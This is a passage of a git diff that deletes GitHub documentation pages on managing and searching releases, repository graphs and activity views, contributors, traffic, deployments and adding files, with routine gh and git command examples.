endcli %} - -## Editing a release - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} -{% data reusables.releases.edit-release %} -1. Edit the details for the release in the form, then click **Update release**. If you add or remove any @mentions of GitHub users in the description, those users will be added or removed from the avatar list in the **Contributors** section of the release. - -{% endwebui %} - -{% cli %} - -1. To edit a release, use the `gh release edit` subcommand. Replace `TAG` with the tag representing the release you wish to edit. For example, to edit the title for a release, use the following code, replacing `NEW-TITLE` with the updated title: - - ```shell - gh release edit TAG -t "NEW-TITLE" - ``` - - For more information about possible arguments, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_release_edit). - -{% endcli %} - -## Deleting a release - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} -1. On the right side of the page, next to the release you want to delete, click {% octicon "trash" aria-label="Delete" %}. - - ![Screenshot of a release in the releases list. A trash icon is highlighted with an orange outline.](/assets/images/help/releases/delete-release-trash.png) -1. Click **Delete this release**. - -{% endwebui %} - -{% cli %} - -1. To delete a release, use the `gh release delete` subcommand. Replace `tag` with the tag of the release to delete. Use the `-y` flag to skip confirmation. - - ```shell - gh release delete TAG -y - ``` - -{% endcli %} diff --git a/content/repositories/releasing-projects-on-github/searching-a-repositorys-releases.md b/content/repositories/releasing-projects-on-github/searching-a-repositorys-releases.md deleted file mode 100644 index 0cadc990f355..000000000000 --- a/content/repositories/releasing-projects-on-github/searching-a-repositorys-releases.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Searching a repository's releases -intro: 'You can use keywords, tags, and other qualifiers to search for particular releases in a repository.' -permissions: Anyone with read access to a repository can search that repository's releases. -shortTitle: Searching releases -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Repositories ---- - -## Searching for releases in a repository - -You can search a repository's releases. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} -1. At the top of the page, in the "Find a release" field, type your query and press **Enter**. - -## Search syntax for searching releases in a repository - -You can provide text in your search query which will be matched against the title, body, and tag of the repository's releases. You can also combine the following qualifiers to target specific releases. - -| Qualifier | Example -| ------------- | ------------- -| `draft:true` | **draft:true** will only match draft releases. -| `draft:false` | **draft:false** will only match published releases. -| `prerelease:true` | **prerelease:true** will only match pre-releases. -| `prerelease:false` | **prerelease:false** will only match releases that are not pre-releases. -| tag:TAG | **tag:v1** matches a release with the v1 tag and any minor or patch versions within v1, such as v1.0, v1.2, and v1.2.5. -| created:DATE | **created:2021** will match releases created during 2021. You can also provide date ranges. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax#query-for-dates). diff --git a/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md b/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md deleted file mode 100644 index 258bd84d0bd3..000000000000 --- a/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Viewing your repository's releases and tags -intro: You can view the chronological history of your repository by release name or tag version number. -redirect_from: - - /articles/working-with-tags - - /articles/viewing-your-repositorys-tags - - /github/administering-a-repository/viewing-your-repositorys-tags - - /github/administering-a-repository/viewing-your-repositorys-releases-and-tags - - /github/administering-a-repository/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: View releases & tags ---- - -> [!TIP] -> You can also view a release using the {% data variables.product.prodname_cli %}. For more information, see [`gh release view`](https://cli.github.com/manual/gh_release_view) in the {% data variables.product.prodname_cli %} documentation. - -## Viewing releases - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} -1. At the top of the Releases page, click **Releases**. - -## Viewing tags - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} -1. At the top of the page, click **Tags**. - -## Further reading - -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-tags) diff --git a/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md b/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md deleted file mode 100644 index 3f23387d7777..000000000000 --- a/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: About repository graphs -intro: Repository graphs help you view and analyze data for your repository. -redirect_from: - - /articles/using-graphs - - /articles/about-repository-graphs - - /github/visualizing-repository-data-with-graphs/about-repository-graphs - - /github/visualizing-repository-data-with-graphs/accessing-basic-repository-data/about-repository-graphs -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- -A repository's graphs give you information on {% ifversion fpt or ghec %} traffic, projects that depend on the repository,{% endif %} contributors and commits to the repository, and a repository's forks and network. If you maintain a repository, you can use this data to get a better understanding of who's using your repository and why they're using it. - -{% data reusables.repositories.repo-insights-commit-limit %} - -{% ifversion fpt or ghec %} - -Some repository graphs are available only in public repositories with {% data variables.product.prodname_free_user %}: -* Pulse -* Contributors -* Traffic -* Commits -* Code frequency -* Network - -All other repository graphs are available in all repositories. Every repository graph is available in public and private repositories with {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, and {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %} - -{% endif %} diff --git a/content/repositories/viewing-activity-and-data-for-your-repository/analyzing-changes-to-a-repositorys-content.md b/content/repositories/viewing-activity-and-data-for-your-repository/analyzing-changes-to-a-repositorys-content.md deleted file mode 100644 index 79f6091ced3d..000000000000 --- a/content/repositories/viewing-activity-and-data-for-your-repository/analyzing-changes-to-a-repositorys-content.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Analyzing changes to a repository's content -intro: 'You can see the changes to the content of a repository by analyzing the repository''s commits, commit frequency, and content additions and deletions.' -product: '{% data reusables.gated-features.repository-insights %}' -redirect_from: - - /articles/visualizing-additions-and-deletions-to-content-in-a-repository - - /github/visualizing-repository-data-with-graphs/visualizing-additions-and-deletions-to-content-in-a-repository - - /articles/viewing-commit-frequency-in-a-repository - - /articles/analyzing-changes-to-a-repository-s-content - - /articles/analyzing-changes-to-a-repositorys-content - - /articles/visualizing-commits-in-a-repository - - /github/visualizing-repository-data-with-graphs/visualizing-commits-in-a-repository - - /github/visualizing-repository-data-with-graphs/analyzing-changes-to-a-repositorys-content - - /github/visualizing-repository-data-with-graphs/analyzing-changes-to-a-repositorys-content/visualizing-commits-in-a-repository - - /github/visualizing-repository-data-with-graphs/analyzing-changes-to-a-repositorys-content/visualizing-additions-and-deletions-to-content-in-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Analyze changes ---- - -## Visualizing commits in a repository - -{% data reusables.repositories.repo-insights-commit-limit %} - -You can see all commits made to a repository in the past year (excluding merge commits) in the Commit graph. - -The top graph shows commits for the entire year by week. The bottom graph shows the average number of commits by day of the week for the selected week. - -### Accessing the commits graph - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.accessing-repository-graphs %} -1. In the left sidebar, click **Commits**. - -## Visualizing additions and deletion to content in a repository - -{% data reusables.repositories.repo-insights-commit-limit %} - -The code frequency graph displays the content additions and deletions for each week in a repository's history. - -### Accessing the code frequency graph - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.accessing-repository-graphs %} -1. In the left sidebar, click **Code frequency**. -{%- ifversion accessible-charts %} -{% data reusables.repositories.repositories-insights-graphs-download-steps %} -{% endif %} - -{% data reusables.repositories.activity-view %} -For more information, see [AUTOTITLE](/repositories/viewing-activity-and-data-for-your-repository/using-the-activity-view-to-see-changes-to-a-repository). diff --git a/content/repositories/viewing-activity-and-data-for-your-repository/index.md b/content/repositories/viewing-activity-and-data-for-your-repository/index.md deleted file mode 100644 index 03e5397d34a6..000000000000 --- a/content/repositories/viewing-activity-and-data-for-your-repository/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Viewing activity and data for your repository -intro: Gain insight into your repository by viewing activity and data. -redirect_from: - - /categories/44/articles - - /categories/graphs-and-contributions - - /categories/graphs - - /categories/visualizing-repository-data-with-graphs - - /github/visualizing-repository-data-with-graphs -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -children: - - /viewing-deployment-activity-for-your-repository - - /about-repository-graphs - - /using-pulse-to-view-a-summary-of-repository-activity - - /viewing-traffic-to-a-repository - - /viewing-a-projects-contributors - - /analyzing-changes-to-a-repositorys-content - - /understanding-connections-between-repositories - - /using-the-activity-view-to-see-changes-to-a-repository -shortTitle: View activity and data ---- diff --git a/content/repositories/viewing-activity-and-data-for-your-repository/understanding-connections-between-repositories.md b/content/repositories/viewing-activity-and-data-for-your-repository/understanding-connections-between-repositories.md deleted file mode 100644 index c8bde9f9f2af..000000000000 --- a/content/repositories/viewing-activity-and-data-for-your-repository/understanding-connections-between-repositories.md +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Understanding connections between repositories -intro: Use the network graph and forks list to understand fork networks. -product: '{% data reusables.gated-features.repository-insights %}' -redirect_from: - - /articles/viewing-a-repository-s-network - - /articles/viewing-a-repositorys-network - - /github/visualizing-repository-data-with-graphs/viewing-a-repositorys-network - - /articles/understanding-connections-between-repositories - - /articles/listing-the-forks-of-a-repository - - /github/visualizing-repository-data-with-graphs/listing-the-forks-of-a-repository - - /github/visualizing-repository-data-with-graphs/viewing-the-dependencies-of-a-repository - - /github/visualizing-repository-data-with-graphs/understanding-connections-between-repositories - - /github/visualizing-repository-data-with-graphs/understanding-connections-between-repositories/viewing-a-repositorys-network - - /github/visualizing-repository-data-with-graphs/understanding-connections-between-repositories/listing-the-forks-of-a-repository - - /github/visualizing-repository-data-with-graphs/understanding-connections-between-repositories/viewing-the-dependencies-of-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Connections between repositories ---- - -## Viewing a repository's network - -The network graph displays the branch history of the entire repository network, including fork branches. This graph is a timeline of the most recent commits, and shows up to 100 of the most recently pushed-to branches. The first row references the date and the first column references the branch owner. Use arrow keys or other keyboard shortcuts to more easily navigate the graph. They are provided in the “Keyboard shortcuts available” pop up under the graph. - -![Screenshot of the repository network graph.](/assets/images/help/graphs/repo-network-graph.png) - -> [!TIP] -> To see older branches, click and drag within the graph. - -### Accessing the network graph - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.accessing-repository-graphs %} -1. In the left sidebar, click **Network**. -![Screenshot of the left sidebar. The "Network" tab is highlighted with a dark orange outline.](/assets/images/help/graphs/network-tab.png) - -## Listing the forks of a repository - -The forks page lists the forks of a repository. For each fork, you can see: - -* How many times the fork has been starred -* The number of direct forks (of the fork) -* The number of open issues -* The number of open pull requests -* When the fork was last updated (that is, the last push to any branch) -* When the fork was created - -You can filter the list of forks to display active, inactive, starred, or archived forks, or to only display forks that have been updated within a specified time period (up to a period of five years). To view the most useful or most active forks, you can sort the list of forks by most starred forks or most recently updated forks, or by the number of open issues or open pull requests. - -If you want to preserve the filters you have selected, you can save your filter and sort selections as the default so that any forks page you view, in any repository, will be filtered the same way. - -### Accessing the forks page - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.accessing-repository-graphs %} -1. In the left sidebar, click **Forks**. - - ![Screenshot of the left sidebar. The "Forks" tab is highlighted with a dark orange outline.](/assets/images/help/graphs/graphs-sidebar-forks-tab.png) - -1. Optionally, to filter the list to display forks updated within a specified time period, click **Period**, then choose a time period from the dropdown menu. For example, to see forks that have been updated within the last two years, choose "2 years" from the dropdown menu. - - ![Screenshot of the forks page with filter and sort options shown. The dropdown menu, titled "Period", is highlighted with an orange outline.](/assets/images/help/graphs/repository-forks-page-period-dropdown.png) - -1. Optionally, to filter the list to only display active, inactive, starred, or archived forks, click **Repository type**, then choose one or multiple options from the dropdown menu. To clear a filter, click **Repository type**, then click the applied filter again to remove it. - - ![Screenshot of the forks page with filter and sort options shown. The dropdown menu, "Repository type", is highlighted with an orange outline.](/assets/images/help/graphs/repository-forks-page-repository-type-dropdown.png) - -1. Optionally, to sort the list by most starred forks, most recently updated forks, most open issues, or most open pull requests, click **Sort**, then choose an option from the dropdown menu. - - ![Screenshot of the forks page with filter and sort options shown. The dropdown menu, titled "Sort", is highlighted with an orange outline.](/assets/images/help/graphs/repository-forks-page-sort-dropdown.png) - -1. Optionally, to preserve the filter values you have selected as the default filters for any time you view a forks page, click **Save Defaults**. If the currently selected filters are already the defaults, the button will be disabled and labeled as **Defaults Saved**. - - ![Screenshot of the forks page with filter and sort options shown. The "Defaults saved" button is disabled because the defaults are already saved.](/assets/images/help/graphs/repository-forks-page-save-defaults-button.png) - -## Viewing the dependencies of a repository - -You can use the dependency graph to explore the code your repository depends on. - -Almost all software relies on code developed and maintained by other developers, often known as a supply chain. For example, utilities, libraries, and frameworks. These dependencies are an integral part of your code and any bugs or vulnerabilities in them may affect your code. It's important to review and maintain these dependencies. - -The dependency graph provides a great way to visualize and explore the dependencies for a repository. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph) and [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository). - -You can also set up your repository so that {% data variables.product.company_short %} alerts you automatically whenever a security vulnerability is found in one of your dependencies. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). diff --git a/content/repositories/viewing-activity-and-data-for-your-repository/using-pulse-to-view-a-summary-of-repository-activity.md b/content/repositories/viewing-activity-and-data-for-your-repository/using-pulse-to-view-a-summary-of-repository-activity.md deleted file mode 100644 index 70a36b0e8b70..000000000000 --- a/content/repositories/viewing-activity-and-data-for-your-repository/using-pulse-to-view-a-summary-of-repository-activity.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Using Pulse to view a summary of repository activity -intro: 'You can use Pulse to see an overview of a repository''s pull request, issue, and commit activity.' -product: '{% data reusables.gated-features.repository-insights %}' -redirect_from: - - /articles/viewing-a-summary-of-repository-activity - - /github/visualizing-repository-data-with-graphs/viewing-a-summary-of-repository-activity - - /github/visualizing-repository-data-with-graphs/accessing-basic-repository-data/viewing-a-summary-of-repository-activity - - /repositories/viewing-activity-and-data-for-your-repository/viewing-a-summary-of-repository-activity -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Using Pulse ---- - -## About Pulse - -You can view an overview of a repository's activity through Pulse. Pulse includes a list of open and merged pull requests, open and closed issues, and a graph showing the commit activity for the top 15 users who committed to the default branch of the project in the selected [time period](/repositories/viewing-activity-and-data-for-your-repository/viewing-a-summary-of-repository-activity#filtering-by-time). - -Commit co-authors are included in the commit activity summary if their commits were merged into the repository's default branch and they're in the top 15 users who have contributed the most commits. - -{% data reusables.repositories.activity-view %} -For more information, see [AUTOTITLE](/repositories/viewing-activity-and-data-for-your-repository/using-the-activity-view-to-see-changes-to-a-repository). - -## Accessing Pulse - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.accessing-repository-graphs %} -1. Optionally, to choose a different time period, select the **Period** dropdown menu in the upper-right corner of the Pulse overview. By default, Pulse shows the last seven days of repository activity. diff --git a/content/repositories/viewing-activity-and-data-for-your-repository/using-the-activity-view-to-see-changes-to-a-repository.md b/content/repositories/viewing-activity-and-data-for-your-repository/using-the-activity-view-to-see-changes-to-a-repository.md deleted file mode 100644 index 5504df14831c..000000000000 --- a/content/repositories/viewing-activity-and-data-for-your-repository/using-the-activity-view-to-see-changes-to-a-repository.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Using the activity view to see changes to a repository -intro: You can use the activity view to see a detailed history of changes to your repository. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Repositories -shortTitle: Using the activity view ---- - -## About the activity view - -The activity view lets you see a detailed history of changes to a repository, such as pushes, merges, force pushes, and branch changes, and associates these changes with commits and authenticated users. - -You can filter the view to show activity for a particular branch, a particular user, or for a specific period of time. You can also filter by activity type. For example, you can choose to filter by "Force pushes", to see all force pushes to the repository. - -For each activity, you can view the exact changes by clicking "Compare changes." - -## Using the activity view to see changes to a repository - -{% data reusables.repositories.navigate-to-repo %} -1. There are two ways to enter the activity view: - * On the main page of the repository, to the right of the list of files, click **{% octicon "pulse" aria-hidden="true" %} Activity**. - - * Alternatively, click **{% octicon "git-branch" aria-hidden="true" %} Branches**, then to the right of any branch, click **{% octicon "pulse" aria-label="View branch activity" %}**. - - ![Screenshot of a repository's branches view. To the right of a branch, the pulse icon is highlighted with a dark orange outline.](/assets/images/help/graphs/activity-view-icon.png) - -1. Use the dropdown menus to filter the activity view. - * To see activity on a particular branch, select the **{% octicon "git-branch" aria-hidden="true" %} BRANCH NAME** dropdown menu, then click a branch name. Alternatively, within the dropdown menu, start typing a branch name into the search field. To view activity across all branches in the repository, click **View activity for all branches**. - - * To filter by activity type, select the **{% octicon "pulse" aria-hidden="true" %} All activity** dropdown menu, then click an activity type. You can choose to display direct pushes, pull request merges, force pushes, branch creations, and branch deletions. - - * To filter by user, select the **{% octicon "people" aria-hidden="true" %} All users** dropdown menu, then click a username. Alternatively, within the dropdown menu, start typing a username into the search field. - - * To filter by time, select the **{% octicon "clock" aria-hidden="true" %} All time** dropdown menu, then click a time period. - -1. Optionally, to see some additional details about the activity, such as the incoming branch name from a pull request, hover over the embedded link. - - ![Screenshot of a repository's activity view. A link, embedded in the description of an activity, is highlighted with a dark orange outline.](/assets/images/help/graphs/activity-view-embedded-link.png) - -1. To see exactly what changes were introduced by a particular activity, to the right of the activity, select {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **{% octicon "git-compare" aria-hidden="true" %} Compare changes**. - - ![Screenshot of a repository's activity view. The kebab icon and the "Compare changes" pop-up button are highlighted with a dark orange outline.](/assets/images/help/graphs/activity-view-compare-changes.png) diff --git a/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md b/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md deleted file mode 100644 index c7e5a8db5966..000000000000 --- a/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Viewing a project's contributors -intro: 'You can see who contributed commits to a repository{% ifversion fpt or ghec %} and its dependencies{% endif %}.' -redirect_from: - - /articles/i-don-t-see-myself-in-the-contributions-graph - - /articles/viewing-contribution-activity-in-a-repository - - /articles/viewing-a-projects-contributors - - /github/visualizing-repository-data-with-graphs/viewing-a-projects-contributors - - /github/visualizing-repository-data-with-graphs/accessing-basic-repository-data/viewing-a-projects-contributors -product: '{% data reusables.gated-features.repository-insights %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: View project contributors ---- -## About contributors - -{% data reusables.repositories.repo-insights-commit-limit %} - -You can view the top 100 contributors to a repository{% ifversion ghes %}, including commit co-authors,{% endif %} in the contributors graph. Merge commits and empty commits aren't counted as contributions for this graph. - -{% ifversion fpt or ghec %} -You can also see a list of people who have contributed to the project's Python dependencies. To access this list of community contributors, visit `https://github.com/REPO-OWNER/REPO-NAME/graphs/contributors`. -{% endif %} - -## Accessing the contributors graph - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.accessing-repository-graphs %} -1. In the left sidebar, click **Contributors**. -{%- ifversion accessible-charts %} -1. Optionally, to view contributors during a specific time period, to the right of "Contributors," click **Period: All**. Then select a time period. -{% data reusables.repositories.repositories-insights-graphs-download-steps %} -{%- else %} -1. Optionally, to view contributors during a specific time period, click, then drag until the time period is selected. The contributors graph sums weekly commit numbers onto each Sunday, so your time period must include a Sunday. -{% endif %} - -## Troubleshooting contributors - -If you don't appear in a repository's contributors graph, it may be because: -* You aren't one of the top 100 contributors. -* Your commits haven't been merged into the default branch. -* The email address you used to author the commits isn't connected to your {% data variables.product.github %} account. - -> [!TIP] -> To list all commit contributors in a repository, see [AUTOTITLE](/rest/repos/repos#list-repository-contributors). - -If all your commits in the repository are on non-default branches, you won't be in the contributors graph. For example, commits on the `gh-pages` branch aren't included in the graph unless `gh-pages` is the repository's default branch. To have your commits merged into the default branch, you can create a pull request. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). - -If the email address you used to author the commits is not connected to your {% data variables.product.github %} account, your commits won't be linked to your account, and you won't appear in the contributors graph. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address) and [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account). diff --git a/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md b/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md deleted file mode 100644 index 40a2a3626567..000000000000 --- a/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Viewing deployment activity for your repository -intro: You can view information about deployments for your entire repository or a specific pull request. -redirect_from: - - /articles/viewing-deployment-activity-for-your-repository - - /github/administering-a-repository/viewing-deployment-activity-for-your-repository - - /github/administering-a-repository/managing-repository-settings/viewing-deployment-activity-for-your-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: View deployment activity ---- - -> [!NOTE] -> The deployments dashboard is currently in {% data variables.release-phases.public_preview %} and subject to change. - -People with read access to a repository can see an overview of all current deployments and a log of past deployment activity, if the repository's deployment workflow is integrated with {% data variables.product.github %} through the Deployments API or an app from [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace/category/deployment). For more information, see [AUTOTITLE](/rest/repos#deployments). - -You can also see deployment information on the "Conversation" tab of a pull request. - -## Viewing the deployments dashboard - -{% data reusables.repositories.navigate-to-repo %} -1. In the right sidebar, click **Environments**. - - ![Screenshot of the main page of a repository. In the right sidebar, "Environments" is outlined in dark orange.](/assets/images/help/actions/environments.png) - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) diff --git a/content/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository.md b/content/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository.md deleted file mode 100644 index b533de17ef28..000000000000 --- a/content/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Viewing traffic to a repository -intro: 'Anyone with push access to a repository can view its traffic, including full clones (not fetches), visitors from the past 14 days, referring sites, and popular content in the traffic graph.' -product: 'This repository insights graph is available in public repositories with {% data variables.product.prodname_free_user %} and {% data variables.product.prodname_free_team %} for organizations, and in public and private repositories with {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, and {% data variables.product.prodname_ghe_cloud %}.{% ifversion fpt %} For more information, see [About repository graphs](/articles/about-repository-graphs) and [{% data variables.product.prodname_dotcom %}''s products](/articles/github-s-products).{% endif %}' -redirect_from: - - /articles/viewing-traffic-to-a-repository - - /github/visualizing-repository-data-with-graphs/viewing-traffic-to-a-repository - - /github/visualizing-repository-data-with-graphs/accessing-basic-repository-data/viewing-traffic-to-a-repository -versions: - fpt: '*' - ghec: '*' -topics: - - Repositories -shortTitle: View repository traffic ---- - -You can navigate to referring sites, excluding search engines and {% data variables.product.github %} itself, from the links the specific paths were referred from. The popular content links to the specific content that generated traffic. - -Referring sites and popular content are ordered by views and unique visitors. Full clones and visitor information update hourly, while referring sites and popular content sections update daily. All data in the traffic graph uses the UTC+0 timezone, regardless of your location. - -> [!TIP] -> You can hover over a specific day in the traffic graph to view the exact data for that day. - -![Screenshot showing two line graphs for repository traffic. The lines are marked with dots for specific dates.](/assets/images/help/graphs/repo-traffic-graphs-tooltip-dotcom.png) - -## Accessing the traffic graph - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.accessing-repository-graphs %} -1. In the left sidebar, click **Traffic**. -![Screenshot of the "Traffic" tab. The tab is highlighted with a dark orange outline.](/assets/images/help/graphs/traffic-tab.png) diff --git a/content/repositories/working-with-files/index.md b/content/repositories/working-with-files/index.md deleted file mode 100644 index a01794d23e59..000000000000 --- a/content/repositories/working-with-files/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Working with files -intro: Learn how to manage and use files in repositories. -redirect_from: - - /categories/81/articles - - /categories/manipulating-files - - /categories/managing-files-in-a-repository - - /github/managing-files-in-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -children: - - /managing-files - - /using-files - - /managing-large-files -shortTitle: Work with files ---- - diff --git a/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md b/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md deleted file mode 100644 index 34bc9f087f6b..000000000000 --- a/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Adding a file to a repository -intro: 'You can upload and commit an existing file to a repository on {% data variables.product.github %} or by using the command line.' -redirect_from: - - /articles/adding-a-file-to-a-repository - - /github/managing-files-in-a-repository/adding-a-file-to-a-repository - - /articles/adding-a-file-to-a-repository-from-the-command-line - - /articles/adding-a-file-to-a-repository-using-the-command-line - - /github/managing-files-in-a-repository/adding-a-file-to-a-repository-using-the-command-line - - /github/managing-files-in-a-repository/managing-files-on-github/adding-a-file-to-a-repository - - /github/managing-files-in-a-repository/managing-files-using-the-command-line/adding-a-file-to-a-repository-using-the-command-line - - /github/managing-large-files/about-large-files-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Add a file ---- - -## Adding a file to a repository on {% data variables.product.github %} - -Files that you add to a repository via a browser are limited to {% data variables.large_files.max_github_browser_size %} per file. You can add larger files, up to {% data variables.large_files.max_github_size %} each, via the command line. For more information, see [Adding a file to a repository using the command line](#adding-a-file-to-a-repository-using-the-command-line). To add files larger than {% data variables.large_files.max_github_size %}, you must use {% data variables.large_files.product_name_long %}. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-large-files-on-github). - -You can upload multiple files to {% data variables.product.github %} at the same time. - -{% data reusables.repositories.protected-branches-block-web-edits-uploads %} - -{% ifversion push-rulesets %} - -{% data reusables.repositories.rulesets-push-rules-general-info-for-related-articles %} - -{% endif %} - -{% ifversion push-protection-block-uploads %} - -Your repository may be secured by push protection. With push protection, {% data variables.product.prodname_dotcom %} will block uploading a file to the repository if the file contains a supported secret, such as a token. You should remove the secret from the file before attempting to upload the file again. For more information, see [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-in-the-github-ui) and [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-in-the-github-ui#resolving-a-blocked-commit). - -{% data reusables.secret-scanning.push-protection-web-UI-uploads-beta %} - -{% endif %} - -{% data reusables.repositories.navigate-to-repo %} -1. Above the list of files, select the **Add file** dropdown menu and click **Upload files**. Alternatively, you can drag and drop files into your browser. - - ![Screenshot of the main page of the repository. Above the list of a files, a button, labeled "Add file," is outlined in dark orange.](/assets/images/help/repository/upload-files-button.png) -1. To select the files you want to upload, drag and drop the file or folder, or click **choose your files**. -{% data reusables.files.commit-message %} -{% data reusables.files.choose_commit_branch %} -1. Click **Propose changes**. - -## Adding a file to a repository using the command line - -You can upload an existing file to a repository on {% data variables.product.prodname_dotcom %} using the command line. - -> [!TIP] -> You can also [add an existing file to a repository from the {% data variables.product.github %} website](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository). - -{% data reusables.command_line.manipulating_file_prereqs %} - -{% data reusables.repositories.sensitive-info-warning %} - -1. On your computer, move the file you'd like to upload to {% data variables.product.github %} into the local directory that was created when you cloned the repository. -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.command_line.switching_directories_procedural %} -{% data reusables.git.stage_for_commit %} - - ```shell - $ git add . - # Adds the file to your local repository and stages it for commit. {% data reusables.git.unstage-codeblock %} - ``` - -{% data reusables.git.commit-file %} - - ```shell - $ git commit -m "Add existing file" - # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} - ``` - -{% data reusables.git.git-push %} - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/adding-locally-hosted-code-to-github) -{% endif %} diff --git a/content/repositories/working-with-files/managing-files/creating-new-files.md b/content/repositories/working-with-files/managing-files/creating-new-files.md deleted file mode 100644 index 940e828a4f94..000000000000 --- a/content/repositories/working-with-files/managing-files/creating-new-files.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Creating new files -intro: 'You can create new files directly on {% data variables.product.github %} in any repository you have write access to.' -redirect_from: - - /articles/creating-new-files - - /github/managing-files-in-a-repository/creating-new-files - - /github/managing-files-in-a-repository/managing-files-on-github/creating-new-files -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- -When creating a file on {% data variables.product.github %}, consider the following: - -* If you try to create a new file in a repository that you don’t have access to, we will fork the project to your personal account and help you send [a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) to the original repository after you commit your change. -* File names created via the web interface can only contain alphanumeric characters and hyphens (`-`). To use other characters, [create and commit the files locally, then push them to the repository on {% data variables.product.github %}](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository). -{%- ifversion push-rulesets %} -* {% data 